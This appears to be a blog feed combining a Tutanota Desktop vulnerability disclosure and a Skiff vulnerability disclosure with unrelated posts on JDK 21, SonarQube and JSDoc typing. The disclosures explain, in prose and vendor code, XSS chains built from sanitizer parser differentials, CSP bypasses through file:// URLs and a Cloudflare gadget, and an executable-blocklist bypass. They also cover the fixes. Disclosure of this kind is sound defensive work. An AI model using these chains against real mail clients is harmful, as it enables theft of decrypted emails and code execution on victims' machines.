We also presented the content of this blog post series as a talk at Black Hat Asia 2023; the video recording is available here.
Impact
The Sonar Research team discovered a Cross-Site Scripting vulnerability in the open-source code of Tutanota's web-based clients. Since a client is where the decryption of emails happens after the user enters their password, it is also the place where the emails exist in their decrypted form. Attackers can therefore steal decrypted emails and impersonate their victims, bypassing the end-to-end encryption.

In this case, attackers could have gone further by chaining the XSS vulnerability with additional bugs we discovered. This would have resulted in the execution of arbitrary code on a victim's machine.

Attackers have to send an email that must be viewed by the victim with the Tutanota Desktop client. Once the email is opened and the victim performs two clicks anywhere in the application, the attacker-controlled payload is executed on their system. More details on the exploit requirements can be found later in this article.

We responsibly disclosed the vulnerabilities to the vendor in June 2022, and they were fixed within two days. The following proof-of-concept shows how attackers could have exploited the vulnerability before that:

Watch the video
Technical Details
Dealing with user-controlled HTML in a web application always increases the risk of Cross-Site Scripting (XSS). While senders may want to style their message and include images, other HTML tags like <script> may have unwanted effects and compromise the reader's security. This is already dangerous for regular webmail services, where anybody could send a malicious email to a user just by knowing their email address.

It is even more dangerous for end-to-end encrypted and privacy-oriented web mailers, where users put much more trust into the service. If an attacker can execute arbitrary JavaScript in the context of such an application, they could potentially steal decrypted emails and private keys, deanonymize users, and impersonate victims.

To avoid all this, web mailers put a lot of effort into ensuring no malicious HTML can get through. Most use state-of-the-art HTML sanitizers, such as DOMPurify, to eliminate malicious HTML. This is an excellent first step, but even the sanitized data is so fragile that subtle mistakes in handling it can jeopardize the security of the whole application.

The following sections will explain the code vulnerability we found in Tutanota, specifically in the desktop client. We will also highlight the importance of modern web defense mechanisms, how they make attackers' lives harder, and how they can still be bypassed when the right stars align. Finally, we examine how the Tutanota team fixed these issues and how to avoid such vulnerabilities in your code.

Get ready for a story about parser differentials, Electron security, and a blocklist bypass!
Tutanota
To make sure users can read emails safely, Tutanota implemented several protections. The first step is to sanitize the body of emails using an HTML sanitizer, in this case, DOMPurify. The sanitized HTML is then searched for text links to convert them into <a> tags:

src/mail/view/MailViewerViewModel.ts:
private async setSanitizedMailBodyFromMail(/* [...] */): /* [...] */ {
    const {htmlSanitizer} = await import("../../misc/HtmlSanitizer")
    const sanitizeResult = htmlSanitizer.sanitizeFragment(this.getMailBody(), /* [...] */)
    const {html, inlineImageCids, links, externalContent} = sanitizeResult
    // [...]
    const text = await locator.worker.urlify(stringifyFragment(html))
    // [...]
}
Tutanota uses the linkifyjs library for this. They pass the sanitized HTML string and get back a linkified HTML string:

src/api/worker/Urlifier.ts:
import linkifyHtml from "linkifyjs/html"

export function urlify(html: string): string {
    return linkifyHtml(html, {
        attributes: {
            rel: "noopener noreferrer",
        },
        target: "_blank",
    })
}
The Linkify library therefore has to parse the HTML string. By taking the following payload, we can observe that the parser behaves differently than the browser:


The browser will correctly parse anything under the <svg> element with SVG parsing rules, therefore parsing the <style> element's content as further child elements. DOMPurify uses the browser's parser, so the sanitizer will not see anything malicious:


However, Linkify sees this:


As we can see, Linkify incorrectly parses the content of the <style> element as raw, causing the first occurrence of the byte sequence </style> to close the element. This ends the style element prematurely, revealing the <i> and <img> tags that were hidden in an attribute before.

As of now, this is not much of a concern because the Linkify library only parses the HTML but does not render it, so the onerror handler would never be executed at this stage. But to complete its job, Linkify has to serialize the parsed HTML back to a string. This is where it applies some modifications to normalize the HTML:


We can see that the library normalized several attributes by either adding a default empty value (x="") or by wrapping attribute values into double quotes (onerror="alert(1)"). The final HTML string looks like this:


When the browser finally renders this HTML, it parses it as follows:


We can see that the <a> tag's alt attribute which previously contained the <i> and <img> tags is now much shorter. The double quote that Linkify inserted to normalize the <i> tag's x attribute now ends the alt tag, and the <i> tag's closing ankle bracket (<) ends the <a> tag. This causes everything that originally came after the <i x> tag to be parsed as HTML elements, including the <img> tag with its onerror handler.

This parser differential between the browser (used by DOMPurify) and Linkify can be abused by attackers to smuggle arbitrary HTML into the DOM of a victim, including JavaScript.
Here comes the CSP
Luckily, any attacker-controlled JavaScript would not be executed. Tutanota has a very restrictive Content Security Policy (CSP) that only allows scripts loaded from Tutanota itself, and no inline scripts. This is done using the directive script-src 'self'.

In the web client, this is pretty solid, and we did not find a bypass of the CSP, making the sanitizer bypass useless to attackers. But Tutanota also has a set of desktop clients that are based on the web client, so let's look at them!
Electron 101
These desktop clients are built using Electron, a framework that allows building cross-platform desktop applications using web technologies. It is basically Node.js and the Chromium browser mashed together and shipped as a single executable. Developers bundle it together with their application, which can then use the benefits of the web ecosystem together with the flexibility of having direct access to the system via Node.js's APIs.

This is what Tutanota's desktop client looks like:


When started, the desktop client would unpack the web app it was bundled with to a temporary directory and then render it by loading a file:// URL in the integrated Chromium browser.

Tutanota's web and desktop clients share the same CSP, so let's compare the two situations! On the web, the page is loaded from https://mail.tutanota.com, so the CSP only allows JavaScript files loaded from this origin.

In the desktop clients, the page is loaded from a URL like file:///C:/Users/Paul/AppData/Local/…. But what does the 'self' CSP value mean for file:// URLs? Turns out it allows any file from the file system to be loaded! This means that if an attacker can control the contents of a file at a known path, they can bypass the CSP.
Attachments
One way to control a file is by adding an attachment to an email and hoping the victim clicks the save button, but attackers can take it a step further. In Proton Mail and Skiff, the email body was inserted into an iframe that isolates it from the application. For Tutanota, there was no isolation between the application itself and the email body, so any CSS styles included in the email may also apply to other elements of the UI.

This can be abused by an attacker to make the Save Attachment button transparent and also stretch it over the whole application's UI. This form of UI redressing leaves the victim no choice but to unknowingly click the invisible button (visualized in red) if they want to continue using their mail client:


Once the attachment is downloaded, the attacker knows its file path because Tutanota saves files to a known location that includes the file's name. This allows the attacker to include the saved attachment as a script, bypassing the CSP.

Since the file does not exist when the attacker's email is being rendered, the page has to try to include the script continuously. This can be done by including an iframe that includes a <script> tag referencing the file, as well as a <meta> tag that reloads the iframe every second. As soon as the file is saved to disk by the Tutanota client, the script is included and run once the iframe reloads again.

At this point, the attacker can read decrypted emails, send emails in the victim's name, and potentially even steal cryptographic keys. This is already critical in the context of an end-to-end encrypted email solution, but since the attack targets a desktop client, we wanted to know if attackers could go even further and compromise the whole system.
Going Further: IPC Calls
In Electron, the "web world" where the UI runs can be isolated from the "main world". The main world has access to the Node.js APIs that can directly access the file system and other OS interfaces. This isolation is considered good practice since it adds an additional barrier that lowers the impact of XSS vulnerabilities. Tutanota, showing good security hygiene here, set the right options for this. Context isolation was enabled, node integration was disabled, and so on.

The remaining attack surfaces are the inter-process communication (IPC) calls that can be sent between the UI and the main world. These are needed so that the application can still do things like saving or opening an attachment when the user clicks the respective button.

We mapped all available IPC calls and found two interesting ones: download and open. The first one, download, takes a URL and a path and then downloads the file from that URL to the specified path. The second IPC call, open, takes a path, and asks the OS to open that file.

On Windows, attackers can easily use the combination of the two calls to download and run a malicious executable. However, there is a final security mechanism in place that prevents this. The open IPC call implements a blocklist that tries to prevent any executable file format from being opened. The blocklist is implemented by checking the file's extension:

src/desktop/PathUtils.ts:
export function looksExecutable(file: string): boolean {
    if (process.platform === "win32") {
        const ext = path.extname(file).toLowerCase().slice(1)
        return [
            "exe",
            "bat",
            // [...]
        ].includes(ext)
    }
    return false
}
To get the extension, the application uses the path.extname() function from Node.js. It takes a path as its argument and returns the extension. If we look at the function's documentation, we can see the following:


If there is a file called C:\Temp\.exe, then path.extname() will return an empty string. Checking the file extension blocklist of Tutanota, we can observe that the empty string is not blocked. Windows will happily run the same file as an executable, enabling attackers to bypass the blocklist and execute arbitrary code on the victim's system using the open IPC call.
Putting it all together
Starting with the sanitizer bypass caused by the parser differential between the browser and the Linkify library, an attacker can inject arbitrary HTML into the DOM of the application. There is no iframe around the injection point, so attacker-controlled CSS styles can affect the application's appearance.

To bypass the CSP with script-src 'self', the attacker has to control a file on the file system. They do this by attaching their payload to the email and using CSS to force the victim into clicking the attachment's download button. Once the attachment is saved, it is included as a script, kicking off the second stage. The second stage will use the available IPC calls to download a malicious executable and run it, bypassing the blocklist in the process.
Patch
Since the code vulnerability we found led to a serious impact, let's find out how it was fixed and how you can avoid similar issues in your code.

The Tutanota team went for a generic approach that can be applied to all similar situations. They moved the sanitizer pass after all the modifications to make sure the final HTML is safe:
private async setSanitizedMailBodyFromMail(mail: Mail, blockExternalContent: boolean): Promise {
    const {htmlSanitizer} = await import("../../misc/HtmlSanitizer")
    const urlified = await locator.worker.urlify(this.getMailBody())
    const sanitizeResult = htmlSanitizer.sanitizeFragment(urlified, { /* ... */ })
    // ...
}

The maintainers also went for additional hardening measures:
They introduced a Shadow DOM around the email body to prevent included CSS styles from affecting the UI of the whole application.
They now handle the edge case that led to the executable blocklist bypass.
The application is loaded from a special asset:// protocol that only serves files that are bundled with Tutanota. The CSP directive script-src 'self' does therefore not allow scripts that come from file:// URLs.
The file path of downloaded attachments is now randomized, preventing attackers from predicting an attachment's path.

To avoid HTML sanitizer bypasses in your code, we have a few recommendations:
If possible, sanitize on the client instead of the server. HTML parsers are complex beasts; using two different ones is like asking for parser differentials.
Use state-of-the-art sanitizers. This can be DOMPurify, but also the upcoming Sanitizer API that will be built into browsers in the future. If you use obscure or outdated sanitizers, they may miss weird quirks and leave you vulnerable.
Never modify data after sanitizing it. This is not specific to HTML but to any data that needs to be sanitized. The more complex the data structure, the more dangerous it becomes to modify it after sanitization.
If possible, don't even re-parse HTML after sanitizing it. DOMPurify can be configured to return the sanitized DOM tree instead of a string. If you directly insert this tree into the page's DOM, the browser will not mutate its contents, leaving less opportunity for mXSS.
Timeline

  Date Action
  2022-06-22 We send our detailed report to Tutanota
  2022-06-23 Tutanota confirms the vulnerability
  2022-06-24 Tutanota releases a patch in version 3.98.1
  2022-07-28 Tutanota publishes a transparency blog post about the vulnerability
Summary
In this article, we explained how an innocent-looking mistake in the code could significantly impact the security of an application. We showed how we found a Cross-Site Scripting vulnerability in Tutanota, a popular end-to-end encrypted webmail service, and explained how an attacker could have exploited the flaw to execute arbitrary code on a victim's system.

We also discussed how the flaw was fixed, what additional measures the maintainers took, and how to avoid such problems in your code. Remember to use client-side sanitization with a state-of-the-art sanitizer, and don't modify or re-parse HTML after it has been sanitized.

Big kudos to the Tutanota team for handling our report exceptionally well. They fixed the vulnerability in two days, implemented further hardening measures to stop similar vulnerabilities from being exploitable in the future, and disabled affected clients.

They also released a transparency blog post for their users that covers the relevant details of the vulnerability, explains how the vulnerability was handled, and what they plan to do to improve the security of their product further. This proves that the Tutanota team greatly cares about the security of their users; we would love to see more of this!

This article completes our 3-part series on the security of privacy-oriented webmail services. If you haven't read them yet, make sure to check out part 1 about Proton Mail and part 2 about Skiff. Follow us on Twitter or Mastodon for more technical research!
Related Blog Posts
Part 1: Code Vulnerabilities Leak Emails in Proton Mail
Part 2: Code Vulnerabilities Put Skiff Emails at Risk
Zimbra 8.8.15 - Webmail Compromise via Email
Zimbra Email - Stealing Clear-Text Credentials via Memcache injection
Horde Webmail - Remote Code Execution via Email
RainLoop Webmail - Emails at Risk due to Code Flaw


The new JDK LTS is out! Long live JDK 21!
Jonathan Vila — Tue, 19 Sep 2023 22:00:00 GMT
The new Long Term Support JDK version was released as GA on September 19th. It’s been 2 years since the previous LTS version, JDK 17, was released.

With the current approach for LTS versions, a new one will be released every 2 years, with a 6-month cadence for regular versions.

But, at this point, we could be wondering…
What’s JDK 21 LTS really? 
Well, it’s “a company's offer to provide services and guarantees for their certified Java implementation, that may or may not be built from an OpenJDK update fork.” quoting Nicolai Parlog from Oracle. 

So we rely on the vendor who is providing the Java binary that we use and its particular definition of LTS. Different vendors have different roadmaps and support ranges. LTS versions are usually supported for 8 years, for example, Oracle and Azul are committed until 2031. There are alternatives,  for example, Azul has MTS (Medium Term Support) versions.
And why should I use an JDK 21 LTS?
During the LTS support term bug fixes and vulnerabilities will be ported to that version. For other JDK versions, this process only lasts 6 months.

So, if we use non-LTS versions in production, to be safe we need to update the JDK version every 6 months, running the risk of having deprecated or removed functionalities. LTS is definitely the version to use in production.
And what does this new JDK 21 LTS version bring?
Lots of bugs and CVEs are fixed, but also great new production-ready features. I’ll highlight some of them:
JEP413 - Code snippets in Java API documentation
JEP431 - Sequenced Collections
JEP440 - Record Patterns
JEP441 - Pattern Matching for Switch
JEP444 - Virtual Threads
JEP451 - Prepare to Disallow the Dynamic Loading of agents
Code snippets in Java API documentation
This new feature allows adding code inside the documentation that will be included in the Java Docs, both from inline code or from external files. It accepts markup tags like @highlight or @replace. 
/**
 * The following code shows how to use {@code Optional.isPresent}:
 * {@snippet :
 * if (v.isPresent()) { // @highlight substring="isPresent"
 *     System.out.println("v: " + v.get());
 * }
 * }
 * Where v != null
 */
Output
Sequenced Collections in Java
Collections in Java have always lacked an ordered approach. But now new interfaces `SequencedCollection, SequencedSet, SequencedMap` are filling this gap by adding consistent methods across the collections: addFirst, addLast, getFirst, getLast, removeFirst, removeLast. 

Another problem with collections has been trying to get the elements in a reversed order, but with the new reversed method we have a consistent and effective way of getting them.

This has also been retrofitted to current interfaces: List, SortedSet, LinkedHashSet, Deque, SortedMap, and LinkedHashMap.

Before Java 21:
var first = list.iterator().next(); 
var last = list.get(arrayList.size() - 1);
With the new sequenced collections, we can do the same thing using simpler methods:
var first = list.getFirst();
var last = list.getLast();
Record patterns
We can use a type pattern to test whether a value is an instance of a record class and extract the component values. For example, with a record Point, you can extract the x and y values.

Before Java 21
record Point(int x, int y) {}

static void printSum(Object obj) {
    if (obj instanceof Point p) {
        int x = p.x();
        int y = p.y();
        System.out.println(x+y);
    }
}
With Java 21
record Point(int x, int y) {}

static void printSum(Object obj) {
  if (obj instanceof Point(int x, int y)) { 
    System.out.println(x+y); 
  }
}
Pattern matching for Switch
The power of pattern matching is expanded to Switch statements to reduce boilerplate code and improve readability.

Before JDK 21
record Point(int x, int y) {}

public void print(Object o) {
  switch (o) {
    case Point p -> System.out.printf("position: %d/%d%n", p.x(), p.y());
    case String s -> System.out.printf("string: %s%n", s);
    default       -> System.out.printf("something else: %s%n", o);
  }
}
In Java 21, we can write a similar expression with a record pattern as follows:
public void print(Object o) {
  switch (o) {
    case Point(int x, int y) -> System.out.printf("position: %d/%d%n", x, y);
    case String s            -> System.out.printf("string: %s%n", s);
    default                  -> System.out.printf("something else: %s%n", o);
  }
}
Virtual Threads
This is a great feature for JDK 21. Until now every thread that was created had a direct link with a platform or OS thread. Considering the limited availability of those threads it became hard to handle a high magnitude of concurrency.

Virtual threads are a concept that allows having millions of “threads” mapping several virtual threads to one platform or OS thread. With virtual threads, the blocking calls to I/O will be suspended and the thread will be used for another process, just expecting the call to finish eventually. 

Basically, the physical threads are shared among virtual threads, allowing hardware utilization to be close to optimal with a high level of concurrency. As a result, it will allow higher throughput, while the application remains harmonious with the multithreaded design of the Java Platform and its tooling. 
Runnable runnable = () -> System.out.println("Inside Runnable"); 
Thread.startVirtualThread(runnable);
Disallow Dynamic loading of Agents
Agents have been used mainly to allow tools and profiles to instrument classes, and we can find several of them to get observability for the JVM. Basically, agents are components that can alter the code of an application while it is running.

But, it can also be a back door used by agents to alter the normal behavior of an application, without even asking for permission.

In JDK 21, the dynamic loading of agents is allowed but the JVM issues a warning when it occurs.
In order to allow tools to dynamically load agents without showing warnings, the -XX:+EnableDynamicAgentLoading option must be added on the command line. And this will be the only way in the future to allow Agents.
JDK 21 LTS Conclusion
This new JDK 21 will definitely introduce new features that allow the code to be cleaner more secure and efficient, especially considering concurrency. 

With code snippets, we can improve the readability of code examples in the Java API definition. Pattern matching in records and switches will improve consistency by using conventions and making the code more identifiable. Sequenced collections will allow us to have clearer and more intentional code with consistent methods across all collections to obtain the first and last elements and an efficient way of reversing the elements. Virtual threads will boost our application's asynchronous performance making it more efficient. And finally disallowing dynamic agent loading will make the application more secure making it explicit to load agents.

It’s important to consider moving to the latest/closest LTS, even if its features don't excite you in order to have more stable, secure, and efficient software. Upgrading to the JDK 21 LTS for your production code will lock in support for the next 8 years.




Enhancing Software Development Practices through SonarQube: A Path to Continuous Learning
Hannah Zimmerman — Thu, 14 Sep 2023 13:00:00 GMT
It is a warm sunny weekday and the sounds of hushed murmurs and hello-good mornings drift through an open office space, along with the sweet aroma of fresh coffee. Despite the lazy sun beaming into the floor-to-ceiling windows, and big modern couches boasting their puffy cushions in free spaces, there is an unmistakable tension in the air. Deadlines rapidly approach while meetings seemingly replicate and clutter the calendar. Decaffeinated and defeated, software developers march away on their keyboards, routinely starting, crunching, and committing branches of code to the pipeline, and forgetting them, only to return months later to unravel all the threads and patch in a new feature.
 
It is not a foreign concept that developers who are equipped with the latest best practices write more reliable and secure software solutions. Adjacently, it is unmistakable that continuous growth in one’s skill set proves to be a cornerstone of professional development and employment satisfaction. With that in mind, we eagerly focus on building an unparalleled experience by creating SonarQube, a tool to identify issues, security vulnerabilities, and architectural problems as they are being written into the source code. 
The Ever-Evolving Landscape of Bugs and Security Vulnerabilities
In the world of software development, bugs, and security vulnerabilities are rapidly evolving. New threats emerge abruptly, and software requirements change hastily to meet market demands. This dynamic nature demands developers to inform themselves about the latest best practices.

According to the National Vulnerability Database (NVD), the number of security vulnerabilities discovered in software applications has been steadily increasing. In 2018, the NVD reported a total of approximately 16,500 vulnerabilities. This number jumped to around 18,300 vulnerabilities in 2019, representing a 10.8% increase in just one year (source: National Vulnerability Database, NIST, 2021).
Continuous Learning: Key to Employee Retention and Performance
Research also shows that a strong commitment to continuous learning significantly impacts employee retention and overall performance in the workplace. In a study by the Institute of Electrical and Electronics Engineers (IEEE) in 2021, 78% of software developers surveyed expressed a strong correlation between their job satisfaction and the opportunity for continuous learning and professional growth. This finding underscores the importance of providing developers with opportunities to enhance their skills and knowledge, leading to higher job satisfaction and retention (source: IEEE Global Survey of Developers 2021).
 
Enter SonarQube.

A tool that supports developers in rectifying real-world code issues, automating tedious workflows, and allowing them to focus on what they do best - write code. Organizations that have implemented SonarQube into their pipeline have noticed enhancements in their teams' skills and job satisfaction, leading to increased loyalty and reduced turnover rates.

In an ideal world, every developer would employ uniform practices when writing code, but that is usually never the case. Hours are spent deciphering the nuances of the original authors and piecing together the picture of code maintained for years. What is needed is a natural and routine feedback loop, creating a seamless experience between team members. 

As software development becomes more complex and dynamic, embracing continuous learning quickly becomes a differentiator for employee performance and satisfaction. With SonarQube, organizations can readily deploy workflows integrated directly into their pipelines to build on their teams’ skill sets and create resiliency to new risks. By investing in developers' professional growth and staying current with industry trends, organizations are more readily able to position themselves as leaders in the fiercely competitive software landscape. 

Related Blog Posts
SonarQube 10.1 release announcement
SonarQube LTS Upgrade Checklist
Level up your team's skills as they code


Typing your JavaScript without writing TypeScript
Phil Nash — Wed, 13 Sep 2023 07:00:00 GMT
We recently looked at how you can get some of the benefits of TypeScript in our JavaScript code base. If you've been through that process, then TypeScript is already helping to keep some type issues out of your JavaScript. But, because it is acting on JavaScript, TypeScript will not be able to infer as much as it would like to.

The good news is that we can give TypeScript more hints about the types that flow around our JavaScript application without changing the project to TypeScript.
Adding more types
One way to do this is by using JSDoc. JSDoc provides a way for you to document your code through comments that are also machine-readable. This was initially built to generate API documentation for your code, but TypeScript has adopted it as a valid way to provide type information in JavaScript files.
JSDoc
You can use JSDoc to set the types of variables. In this example, assigning an empty array to the variable names doesn't tell the type system anything, but if we use the JSDoc @type annotation, then we indicate to TypeScript that this variable should only be an array of strings. As this is documentation, it also tells you and your team what kind of variable this is.
/**
 * @type {Array}
 */
let names = [];
If you later try to assign a value with a different type to names or try to add an element of the wrong type, TypeScript will complain about it.
You can also define complex types with @typedef. 
/**
 * @typedef {object} TeamMember
 * @property {string} name - the full name of a team member
 * @property {Array} languages - the programming languages the member knows
 */

/**
 * @type {TeamMember}
 */
const teamMember = {
  name: "Phil Nash",
  languages: ["JavaScript", "TypeScript", "CSS", "HTML"],
};
With JSDoc annotations in place, you can import types from one file into another, meaning you don't have to repeat yourself and redefine types in multiple places.

You can also type the parameters and the return value of functions:
/**
 * @typedef {import("./teamMember").TeamMember} TeamMember
 * @param {Array} teamMembers - a list of team members
 * @returns {Array}
 */

function getNames(teamMembers) {
  return teamMembers.map(tm => tm.name);
}
There's more to JSDoc than this, and you can read up on the JSDoc annotations that TypeScript supports in the TypeScript documentation.
TypeScript declaration files
If you find writing type definitions in comments in your files too noisy, you can choose to write those definitions in a declaration file instead. TypeScript declaration files are the .d.ts files you'll find in the Definitely Typed project or in JavaScript libraries that also ship their type definitions.

Writing TypeScript declaration files is the closest this article will get to writing TypeScript itself. A declaration file declares the types of classes, functions and variables in TypeScript syntax without defining the contents.

To use a declaration file to define the TeamMember type, from above, you would create a teamMember.d.ts file and enter the following:
export type TeamMember = {
  name: string;
  languages: Array;
};
You can then import that in your JavaScript using the JSDoc import syntax:
/**
 * @type {import("./teamMember.d").TeamMember}
 */

const teamMember = {
  name: "John Doe",
  languages: ["JavaScript", "TypeScript", "HTML", "CSS"],
};
Importing your types from a declaration file keeps your type definitions separate from your code and gives you all of the expressiveness of the TypeScript type system. Adding declaration files like this to libraries that you write means that other projects can also install the library and access the types.
Still not TypeScript, just supercharged JavaScript
Remember, you're still in a JavaScript project here. You don't need to add these types, but if you find parts of your code that would benefit from them, the combination of JavaScript, JSDoc and, optionally, declaration files means that you can.

Giving more type information will help TypeScript understand your JavaScript better, which in turn helps your IDE to make better suggestions and helps SonarQube and SonarCloud apply TypeScript rules to your source code.

Do watch out, though; after going through this evolution, from adding TypeScript to your JavaScript project and adding more types, you might want to convert your project all the way to TypeScript. Thankfully, if you have got this far, the effort to move is now much lower and, much like adding types to the code base, can be done incrementally.


Code Vulnerabilities Put Skiff Emails at Risk
Paul Gerste — Tue, 12 Sep 2023 16:00:00 GMT
Executive Summary / Key Information
In June 2022, the Sonar Research team discovered critical code vulnerabilities in multiple encrypted email solutions, including Proton Mail, Skiff, and Tutanota.
These privacy-oriented webmail services provide end-to-end encryption, making communications safe in transit and at rest. Our findings affect their web clients, where the messages are decrypted with the user's keys; mobile clients were unaffected.
The vulnerabilities would have allowed attackers to steal emails and impersonate victims if they interacted with malicious messages.
Thanks to our report, the issue has been fixed, and there are no signs of in-the-wild exploitation.

Introduction
Last week's article discussed the risks of end-to-end encrypted mail providers and showcased the details of a Cross-Site Scripting vulnerability we found in Proton Mail.

In this blog post, we present the technical details of the vulnerabilities we found in Skiff. We show how an innocent-looking piece of code led to a Cross-Site Scripting issue that made it possible for attackers to steal decrypted emails and impersonate victims.

As part of our 3-post series, we will cover another severe vulnerability we found in Tutanota Desktop next week. Attackers could have used that vulnerability to steal emails and even execute arbitrary code on the victims' machines.

We also presented the content of this blog post series as a talk at Black Hat Asia 2023; the video recording will is available here.
Impact
The Sonar Research team discovered a Cross-Site Scripting vulnerability in the open-source code of Skiff's web client. Since the web client is where the decryption of emails happens after the user enters their password, it is also the place where the emails exist in their decrypted form. Attackers can therefore steal decrypted emails and impersonate their victims, bypassing the end-to-end encryption.

This time, attackers have to send two emails, both of which must be viewed by the victim. The second email contains a link that the victim has to click.

We responsibly disclosed the vulnerabilities to the vendor in June 2022, and they were fixed shortly after. The following proof-of-concept shows how attackers could have exploited the vulnerability:
Watch the video
Technical Details
Dealing with user-controlled HTML in a web application always increases the risk of Cross-Site Scripting (XSS). While senders may want to style their message and include images, other HTML tags like <script> may have unwanted effects and compromise the reader's security. This is already dangerous for regular webmail services, where anybody could send a malicious email to a user just by knowing their email address.

It is even more dangerous for end-to-end encrypted and privacy-oriented web mailers, where users put much more trust into the service. If an attacker can execute arbitrary JavaScript in the context of such an application, they could potentially steal decrypted emails and private keys, deanonymize users, and impersonate victims.

To avoid all this, web mailers put a lot of effort into ensuring no malicious HTML can get through. Most use state-of-the-art HTML sanitizers, such as DOMPurify, to eliminate malicious HTML. This is an excellent first step, but even the sanitized data is so fragile that subtle mistakes in handling it can jeopardize the security of the whole application.

The following sections will explain the code vulnerability we found in Skiff. We will also highlight the importance of modern web defense mechanisms, how they make attackers' lives harder, and how they can still be bypassed when the right conditions align. Finally, we examine how the Skiff team fixed these issues and how to avoid such vulnerabilities in your code.

Prepare for a story about mXSS, sandbox bypasses, and CSP gadgets!
Skiff
To ensure the security of their service, Skiff employs multiple defenses. They start by sanitizing the HTML of an email body using DOMPurify. After that, they perform a few more steps, including the following transformation:

skiff-mail-web/components/Thread/MailHTMLView/injectIDs.ts:
const injectShowPreviousContainer = (dom: Document) => {
  const quote = dom.querySelector('[data-injected-id=last-email-quote]');
  if (quote) {
    const div = document.createElement('div');
    div.setAttribute(INJECTED_ID_ATTR, InjectedIDs.ShowPreviousContainer);
    quote.parentElement?.insertBefore(div, quote);
  }
};

This function marks the beginning of the previously quoted emails in an email thread. It inserts an empty <div> element before the first element that has a data-injected-id attribute with the value last-email-quote. This modification looks innocent at first glance because only an empty element is inserted.

However, the insertion of an element leads to a case of mutation-based Cross-Site Scripting (mXSS). Let's look at the following payload:


This payload passes the sanitization just fine because the <img> tag with the event handler is hidden in an attribute value. The content of the <style> element is parsed as HTML instead of raw text here because it is located within an <svg> element, so the SVG parsing rules apply. 

After that, the injectShowPreviousContainer function inserts the <div> tag, resulting in the following HTML tree:
 
If we consult the HTML specification, we can see that <div> elements are not valid children of <svg> elements. Since this was an explicit modification of the DOM, no error is thrown, and the element stays at the position it was inserted.
Reparsing Triggers Mutations
At a later stage in the email handling code, the sanitized DOM tree gets serialized back to its string representation again by reading its innerHTML property:

skiff-mail-web/components/Thread/MailHTMLView/injectIDs.ts:
export const injectIDs = (html) => {
  const dom = document.implementation.createHTMLDocument();
  // ...
  injectShowPreviousContainer(dom);
  // ...
  return dom.body.innerHTML;
};

To finally render the processed email, the resulting HTML is parsed again by assigning it to an element's innerHTML property via React's dangerouslySetInnerHTML attribute:

skiff-mail-web/components/Thread/MailHTMLView/MailHTMLView.tsx:
const MailHTMLView: FC = ({ email }) => {
  // ...
  return (
    // ...
        
      ,
    // ...
  );
};

During the re-parsing, the browser will try to correct any errors in the HTML. In general, HTML parsers are very lenient and try to cover up any mistakes by developers. How nice of them, right? The parser will, for example, try to close elements with missing closing tags, normalize attribute delimiters, and much more.

In the case of Skiff, this mutation of the input leads to the following HTML being inserted into the page:

We can observe that the <div> element was moved outside the <svg> element, which is plausible since it was not a valid child. 

However, the <style> element was also moved outside the <svg> element along with its predecessor. This situation is familiar from last week's Proton Mail vulnerability! During sanitization, the <style> element is parsed with SVG rules, while it is parsed with HTML rules during the re-parsing.

This parsing difference can be abused the same way as before, resulting in the <img> tag being inserted into the DOM and triggering its onerror event handler during the rendering of the email. So, with a similar payload as the one for Proton Mail, we found a bypass of Skiff's sanitization process that allows inserting arbitrary HTML into the page.
Escaping the Sandbox
As mentioned earlier, there are multiple defenses in place. After the sanitizer, the next one is an iframe sandbox like the one we covered for Proton Mail. We can find the same directives for Skiff, but there is no special case for Safari:
allow-same-origin
allow-popups
allow-popups-to-escape-sandbox

This means that the only way to escape the sandbox is to open a payload in a new tab, which in turn requires the victim to click a link.

An attacker can use a CSS leak technique to get a same-origin link that the victim can click. Skiff uses blob URLs to render inline images in emails. This allows attackers to create such URLs with arbitrary content and type by sending them as attachments. Blob URLs inherit the origin of the page they are created on, so they will be able to access data from the original page.

An attacker can then include a CSS payload in their email alongside the attachment that will leak the blob URL back to them. They would then use this to send a follow-up email with a link to that blob URL. By setting target="_blank" on that link, the URL will always be opened in a new tab.

Check out last week's blog post to learn about the details of the blob URL creation and CSS leak technique!
Bypassing the CSP with Cloudflare's Help
The final line of defense is Skiff's Content Security Policy (CSP). Here, we have many directives, with the most interesting ones being the following:
default-src 'self'
img-src https://*
style-src 'unsafe-inline'
script-src 'unsafe-eval' http://hcaptcha.com

The first three are similar to Proton Mail and allow for remote images and inline styles in emails. The last directive is the interesting one again: it allows scripts from hCaptcha, a captcha service, and it allows scripts to use the eval() function.

Attackers can bypass this directive with a known gadget. We observed that hcaptcha.com is hosted behind Cloudflare, a popular content delivery network and DDoS protection provider. This means hcaptcha.com will serve a few utility scripts under the /cdn-cgi/scripts/ path. Some of those scripts contain gadgets that allow bypassing a site's CSP when unsafe-eval is allowed. This technique was discovered by Pepe Vila in 2020, and it perfectly fits our scenario. Check out Pepe's page for the details about this method!
Putting it all together
With that, the exploit strategy is complete. The attacker first sends an email with an attachment that causes a blob URL to be created. The email also contains CSS that leaks this URL to the attacker server with the previously described method. Once the blob URL is known, the attacker sends a follow-up email, this time containing a link that the victim has to click. When that happens, the blob URL is opened in a new tab where the hCaptcha/Cloudflare script gadget bypasses the CSP and executes arbitrary JavaScript in the context of the Skiff web application.
Patch
Since the code vulnerability we found led to serious impact, let's find out how it was fixed and how you can avoid similar issues in your code.

The Skiff team went for a generic approach that can be applied to all similar situations. They moved the sanitizer pass after all the modifications to make sure the final HTML is safe:
const bodyContent = getEmailBody(email);
const dom = new DOMParser().parseFromString(bodyContent, 'text/html');
proxyAttributes(dom, disableRemoteContent);
rewriteCSSAttribute(dom, originUrl, disableRemoteContent);
const sanitizedContent = DOMPurify.sanitize(dom.documentElement.outerHTML);
return getIframeHtml(sanitizedContent, extraStyle);


To avoid these kinds of sanitizer bypasses in general, we have a few recommendations:
If possible, sanitize on the client instead of the server. HTML parsers are complex beasts; using two different ones is like asking for parser differentials.
Use state-of-the-art sanitizers. This can be DOMPurify, but also the upcoming Sanitizer API that will be built into browsers in the future. If you use obscure or outdated sanitizers, they may miss weird quirks and leave you vulnerable.
Never modify data after sanitizing it. This is not specific to HTML but to any data that needs to be sanitized. The more complex the data structure, the more dangerous it becomes to modify it after sanitization.
If possible, don't even re-parse HTML after sanitizing it. DOMPurify can be configured to return the sanitized DOM tree instead of a string. If you directly insert this tree into the page's DOM, the browser will not mutate its contents, leaving less opportunity for mXSS.
Timeline

  Date Action
  2022-06-28 We send our detailed report to Skiff
  2022-06-30 Skiff deploys the fix to production
Summary
